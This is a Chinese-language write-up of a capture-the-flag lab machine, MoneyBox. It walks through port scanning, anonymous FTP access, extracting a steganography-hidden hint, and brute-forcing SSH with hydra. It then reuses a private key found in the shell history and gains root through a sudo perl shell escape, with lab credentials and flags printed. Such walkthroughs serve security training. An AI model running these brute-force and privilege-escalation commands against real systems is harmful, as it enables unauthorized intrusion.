本文由掌控安全学院 - 杳若 投稿
总结
getwebshell
: 目录扫描发现目录 → HTML
中发现隐藏key
→ FTP
匿名发现图片 → 隐写术解开图片秘密 → 提示用户名爆破 → hyrda
爆破ssh
进入内部
提 权 思 路
: history
发现存在私钥 → 登录其他用户 → perl
权限提升
准备工作
- 启动VPN
获取攻击机IP →192.168.45.191
- 启动靶机
获取目标机器IP →192.168.162.230
信息收集-端口扫描
目标开放端口收集
- Nmap开放端口扫描2次(多次扫描减少误扫)
sudo nmap
--
min
-
rate
10000
-
p
-
192.168
.
162.230
PORT STATE SERVICE
21
/
tcp open ftp
22
/
tcp open ssh
80
/
tcp open http
开放的端口-→21,22,80
目标端口对应服务探测
# tcp探测
sudo nmap
-
sT
-
sV
-
O
-
sC
-
p21
,
22
,
80
192.168
.
162.230
PORT STATE SERVICE VERSION
21
/
tcp open ftp vsftpd
3.0
.
3
22
/
tcp open ssh
OpenSSH
7.9p1
Debian
10
+
deb10u2
(
protocol
2.0
)
80
/
tcp open http
Apache
httpd
2.4
.
38
((
Debian
))
信息收集-端口测试
21-FTP端口的信息收集
21-FTP版本版本信息
通过Nmap
探测获得FTP的版本信息,可以大致推测FTP的配置文件位置
Nmap
探测信息为21/tcp open ftp vsftpd 3.0.3
# ftp配置文件位置
/
etc
/
vsftpd
.
conf
21-FTP端口匿名登录测试(存在)
尝试匿名账号anonymous
以及无密码进行登录测试
# 利用ftp协议+ip进行连接测试
ftp
192.168
.
162.230
Name
:
anonymous
21-FTP端口-文件GET收集
登录FTP之后利用ls
查看存在哪些目录,翻阅的同时查看一下文件权限
利用GET
下载文件
# binary 以二进制模式传输文件,保证文件完整
ftp
→
binary
# 查看目录结构
ftp
→
ls
-
al
# cd 查看存储的文件
ftp
→
cd
[
file_date_name
]
# get 下载文件
ftp
→
get
[
file_name
]
发现了trytofind.jpg
下载到了本地
打开是一张纯粹的图片,推测有隐写术
21-FTP端口-PUT上传测试
测试是否可以利用PUT
上传文件
# put 上传文件
ftp
→
put
[
file_name
]
不具备上传功能
22-SSH端口的信息收集
22-SSH端口版本信息与MSF利用
通过Nmap
探测获得SSH的版本信息,可以尝试利用
探测版本为OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
# 搜索对应脚本
msf6
→
searchsploit openssh
7.9
无
22-SSH协议支持的登录方式
通过Nmap
探测获得SSH的版本信息,在获取到某个用户名之后尝试
sudo ssh root
@
192.168
.
162.230
-
v
显示publickey
、password
就是支持密钥以及密码登录
22-SSH手动登录尝试(无)
因为支持密码登录,尝试root
账户的密码弱密码尝试
sudo ssh root
@
192.168
.
162.230
-
p
22
# 密码尝试
password
→
root
弱密码尝试失败
22-SSH弱口令爆破(静静等待)
因为支持密码登录,尝试root
账户的密码爆破,利用工具hydra
,线程-t为6
sudo hydra
-
l root
-
P
/
usr
/
share
/
wordlists
/
metasploit
/
unix_passwords
.
txt
-
t
6
-
vV
192.168
.
162.230
ssh
-
s
22
挂着工具进行爆破,我们尝试后续信息收集
80-HTTP端口的信息收集
访问 http://192.168.162.230:80
不是CMS
我们直接从HTML
隐藏信息收集开始
网站说很简单,我不信(¬︿̫̿¬☆)
信息收集-HTML隐藏信息查看
# 包括文章中是否写明一些敏感信息
curl http
:
//192.168.162.230:80
无隐藏内容
信息收集-目录扫描
信息收集-目录扫描初步
dirsearch
-
u http
:
//192.168.162.230:80 -x 302,403
通过扫描发现了一个新的端点/blogs/
因为扫出了目录,深层次的扫描待选
信息收集-目录扫描(后缀)
信息收集-目录扫描(深度/大字典)
信息收集-目录扫描(深度/大字典后缀)
信息收集-目录访问
/blogs/端点访问
从本文的消息我们可以发现黑客黑入了系统,并说明没有任何的防护设备
curl
了一下发现了新的隐藏路径S3cr3t-T3xt
/S3cr3t-T3xt端点访问
提示是没有
再curl
了一下,发现了新内容….一个key 3xtr4ctd4t4
漏洞利用-getwebshell
key利用
根据现有内容key
应该不代表密码,之前有一张图片可能存在隐写术,推测是它的密码
通过CHATGPT
推荐使用工具 steghide
通过chatgpt
获取对应的工具使用方式
steghide extract
-
sf
-
xf
-
p
其中:
- `` 是包含隐藏信息的图像文件
- `` 是提取的信息输出文件
- `` 是解密隐藏信息的密码
修改成我们需要的样子
steghide extract
-
sf trytofind
.
jpg
-
xf mian
.
txt
password
→
3xtr4ctd4t4
成功获得main.txt
信息泄露获得用户名
打开发现内容 确定密码很简单并且用户名是renu
Hello
.....
renu
I tell you something
Important
.
Your
Password
is
too
Week
So
Change
Your
Password
Don
't Underestimate it.......
SSH爆破登录
这样我们可以尝试爆破一下renu
的账户,利用工具hyrda
# -l 指定用户名 -P指定密码字典
hydra
-
l renu
-
P
/
usr
/
share
/
wordlists
/
metasploit
/
unix_passwords
.
txt
-
t
6
-
vV
192.168
.
162.230
ssh
-
s
22
成功得到了账号密码信息
[
22
][
ssh
]
host
:
192.168
.
162.230
login
:
renu password
:
987654321
22-SSH账号密码登录
获取账号密码之后利用SSH进行登录
sudo ssh renu
@
192.168
.
162.230
-
p22
password
→
987654321
成功打入内部,第一步完成
内网遨游-getshell
FLAG1获取
renu
@MoneyBox
:~
$ find
/
-
name
local
.
txt
2
→/
dev
/
null
/
home
/
renu
/
local
.
txt
renu
@MoneyBox
:~
$ cat
/
home
/
renu
/
local
.
txt
ad71d6f825f157311d017a8bd94a7e03
信息收集-内网基础信息收集
提权的本质在于枚举
,在获取shell之后我们要进行内网信息的收集,都是为了提权
做准备
检测Linux操作系统的发行版本
较老的Ubuntu
以及Linux系统可以overlayfs
提权
# 确定发行版本
renu
@MoneyBox
:~
$ lsb_release
-
a
No
LSB modules are available
.
Distributor
ID
:
Debian
Description
:
Debian
GNU
/
Linux
10
(
buster
)
Release
:
10
Codename
:
buster
发行版本为Debian
,不太能overlayfs
提权
检测Linux操作系统的内核版本
较低的内核版本可以进行脏牛
提权
renu
@MoneyBox
:~
$ uname
-
a
Linux
MoneyBox
4.19
.
0
-
22
-
amd64
#1 SMP Debian 4.19.260-1 (2022-09-29) x86_64 GNU/Linux
内核版本为4.19.0
检测当前用户的权限
renu
@MoneyBox
:~
$ id
uid
=
1001
(
renu
)
gid
=
1001
(
renu
)
groups
=
1001
(
renu
)
列举出所有的sudo文件
查找具有sudo
权限,且不需要密码的可提权文件
如果发现sudo -l
有东西的话 访问 https://gtfobins.github.io
寻找
# 利用sudo -l寻找
sudo
-
l
发现需要密码,尝试987654321
失败
列举出所有suid文件
如果发现u=s
有东西的话 访问 https://gtfobins.github.io
寻找
# -perm 文件权限
find
/
-
perm
-
u
=
s
-
type f
2
→/
dev
/
null
/etc/passwd权限收集
如果/etc/passwd
具有写入权限可以尝试覆盖密码提权
renu
@MoneyBox
:~
$ ls
-
al
/
etc
/
passwd
-
rw
-
r
--
r
--
1
root root
1486
Feb
26
2021
/
etc
/
passwd
/etc/shadow权限收集
- 如果
/etc/shadow
具有写入权限可以尝试覆盖密码提权 - 如果
/etc/shadow
具有可读权限可以爆破密码getcap标志进程收集
高版本下
suid
列举不全,查看getcap
# 探查有CAP_SETUID标志的进程
/
usr
/
sbin
/
getcap
-
r
/
2
→/
dev
/
null
renu
@MoneyBox
:~
$ ls
-
al
/
etc
/
shadow
-
rw
-
r
-----
1
root shadow
1095
Oct
11
2022
/
etc
/
shadow
列举定时任务
查找所有的定时任务,并且查看定时任务是否具有修改权限
# 寻找定时任务并修改进行提权
cat
/
etc
/
crontab
查看历史信息
可能用户留下的历史信息具有有用的信息
history
发现存在登录到其他用户的历史命令
ssh
-
i id_rsa lily
@
192.168
.
43.8
查看一下本用户/home
目录下是否存在SSH
密钥
再查看一下lily
目录下是否存在authorized keys
确认存在之后尝试登录lily
的用户
# 修改一下ip
ssh
-
i id_rsa lily
@
192.168
.
162.230
登录成功,准备进行新的信息收集
列举出所有的sudo文件
查找具有sudo
权限,且不需要密码的可提权文件
利用sudo -l寻找
lily
@MoneyBox
:~
$ sudo
-
l
Matching
Defaults
entries
for
lily on
MoneyBox
:
env_reset
,
mail_badpass
,
secure_path
=
/usr/
local
/
sbin:
/
usr
/
local
/
bin:
/
usr
/
sbin:
/
usr
/
bin:
/
sbin:
/
bin
User
lily may run the following commands on
MoneyBox
:
(
ALL
:
ALL
)
NOPASSWD
:
/usr/
bin
/
perl
看到了内容 会心一笑
perl权限提升
如果发现有东西的话 访问 https://gtfobins.github.io 寻找
sudo perl
-
e
'exec "/bin/sh";'
找到了提权的命令,提权成功
lily
@MoneyBox
:~
$ sudo perl
-
e
'exec "/bin/sh";'
# is
/
bin
/
sh
:
1
:
is
:
not
found
# id
uid
=
0
(
root
)
gid
=
0
(
root
)
groups
=
0
(
root
)
FLAG2获取
# cat /root/proof.txt
7b0bce8f4b59a3db7d173f3e833e50f8
完结撒花~
总结
查看历史记录也是一件很重要的事情
申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,
所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论